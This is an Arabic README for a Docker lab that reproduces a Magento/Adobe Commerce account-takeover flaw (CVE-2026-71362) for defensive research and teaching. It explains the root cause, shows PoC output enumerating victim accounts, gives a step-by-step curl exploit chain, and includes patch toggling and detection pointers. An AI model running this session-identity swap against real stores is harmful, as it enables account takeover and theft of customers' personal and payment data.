
مختبر Docker يعيد إنتاج ثغرة CVE-2026-71362 للاستيلاء على الحساب في Magento/Adobe Commerce عبر تبديل هوية جلسة العميل، مع PoC والتحكم A/B/A بالتصحيح الرسمي للبحث المصرح به.
مختبر Docker مستقل بذاته، يُدار بأمر واحد، يعيد إنتاج CVE-2026-71362 من البداية إلى النهاية ويتيح لك التحقق من إصلاح Adobe، لتمكين المدافعين والباحثين والطلاب من دراسة أساس استيلاء حقيقي على الحساب على متجر مؤقت.
| CVE | CVE-2026-71362 |
| المنتج | Adobe Commerce · Adobe Commerce B2B · Magento Open Source |
| التصنيف | تفويض غير صحيح (CWE-863) — تبديل هوية جلسة العميل → استيلاء على الحساب |
| الشدة | CVSS 3.1 = 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| النشرة الأمنية | Adobe APSB26-92 (2026-08-11) |
| الإصدارات المتأثرة | Adobe Commerce 2.4.4–2.4.9, Magento Open Source 2.4.6–2.4.9, B2B 1.3.3–1.5.3 — مستوى التصحيح المعزول -2026-jul والإصدارات الأقدم |
| الإصلاح | مستوى التصحيح المعزول -2026-aug (معرّفات التصحيح 24Xp-2026-08-001-CE) |
⚠️ للاستخدام المصرح به فقط
هذا المختبر موجود لإعادة إنتاج ثغرة عامة ومُصححة لأغراض البحث الدفاعي والتعليم. شغّله فقط ضد المتجر المؤقت الذي يبنيه. لا تستخدمه ضد أي نسخة Magento/Adobe Commerce لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. أنت مسؤول عن الامتثال لجميع القوانين المعمول بها.
تُمرّر الدالة Magento\Customer\Controller\Account\Edit::execute() البيانات الخام التي يتحكم بها المهاجم
customer_form_data المتبقية في الجلسة بعد editPost فاشل إلى
DataObjectHelper::populateWithArray()، التي تنسخ كل مفتاح مطابق إلى كائن العميل —
بما في ذلك id. ثم يُكتب الكائن مرة أخرى عبر
Session::setCustomerData() → setCustomerId($object->getId())، ولأن
Customer\Model\Session::getId() يعيد فقط getCustomerId()، فإن استبدال customer_id
وحده يجعل isLoggedIn() تعيد true بهوية الضحية. لا يوجد أي تحقق من كلمة المرور أو الرمز المميز أو الملكية.
يمكن للمهاجم الذي لا يملك سوى حساب مؤقت مسجّل ذاتيًا إعادة ربط جلسته بأي معرّف عميل
وقراءة المعلومات الشخصية (PII) لذلك الحساب وطلباته وعناوينه ورموز الدفع المخزنة.
شرح كامل: docs/ROOTCAUSE.md. قواعد الكشف و WAF: docs/DETECTION.md.
attacker registers ──► POST /customer/account/editPost (change_email=1,
(own account) current_password=wrong, id=<VICTIM>) ─► exception ─►
session.customer_form_data = {... id: <VICTIM> ...}
│
▼
GET /customer/account/edit
populateWithArray(... id=<VICTIM> ...) ─► setId(VICTIM)
setCustomerData() ─► setCustomerId(VICTIM)
│
▼
attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
order history, address book, section/load) ─► account takeover.
pip install -r exploit/requirements.txtيسحب البناء Magento Open Source من مصادر عامة؛ لا حاجة لمفاتيح Adobe Marketplace.
git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab
make up # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait # blocks until the storefront returns HTTP 200
make exploit # runs the PoC
واجهة المتجر: http://127.0.0.1:8080/ · لوحة الإدارة: http://127.0.0.1:8080/admin (admin / Admin123!). غيّر المضيف/المنفذ في .env (انظر .env.example) — يجب أن تتطابق القيمة بالضرورة
مع عنوان URL الذي تصفّحه، لأن Magento يثبّت ملف تعريف الارتباط الخاص بالجلسة على
عنوان المتجر الأساسي.
[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
customer_id=1 -> VICTIM… Target <victim…@lab.test>
...
>>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
every enumerated account's PII with only self-registration.
make patch # apply Adobe's official APSB26-92 Edit.php fix
make exploit # -> NOT exploited (session identity unchanged)
make unpatch # restore the vulnerable file
make exploit # -> ACCOUNT TAKEOVER again
يستبدل make patch الملف patch/Edit.patched.php — وهو التغيير المنبع
نفسه من patch/official-APSB26-92-module-customer.patch.
إن تشغيل هذا الملف الواحد وإيقافه هو المحكّ على أن الثغرة هي هذا المقطع البرمجي تحديدًا.
# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'
# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
--data-urlencode form_key=<FK> --data-urlencode firstname=Mallory \
--data-urlencode lastname=Attacker --data-urlencode [email protected] \
--data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'
# 2. poison the session: failing editPost carrying id=<VICTIM>
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
--data-urlencode form_key=<FK2> --data-urlencode id=1 \
--data-urlencode change_email=1 --data-urlencode current_password=wrong \
--data-urlencode [email protected]
# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'
طبّق التصحيح المعزول APSB26-92 لشهر أغسطس 2026 لفرعك (24Xp-2026-08-001-CE).
توفّر Adobe سجل التصحيحات والفروقات الخام بدون بيانات اعتماد على
https://repo.magento.com/patch/patch-registry.json. الإصلاح ليس على GitHub العام — لم
يُنشر له أي حزمة Composer أو وسم git، لذا فإن composer update لن يسحبه.
docker-compose.yml nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py the PoC + PII-enumeration oracle
scripts/patch.sh apply Adobe's official fix scripts/unpatch.sh restore vulnerable
patch/ official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md code-level walkthrough docs/DETECTION.md WAF + forensics
make logs وانتظر رسالة Install complete، ثم نفّذ make wait.generated/؛ نفّذ make shell ثم php bin/magento cache:flush (تتعامل نقطة الدخول مع هذا عادةً).MAGENTO_HOST/HOST_PORT في .env مساويًا لعنوان URL الذي تستخدمه (أنت وTARGET).MIT — انظر LICENSE. مُقدَّم للأغراض التعليمية والاختبار المصرح به، دون أي ضمان.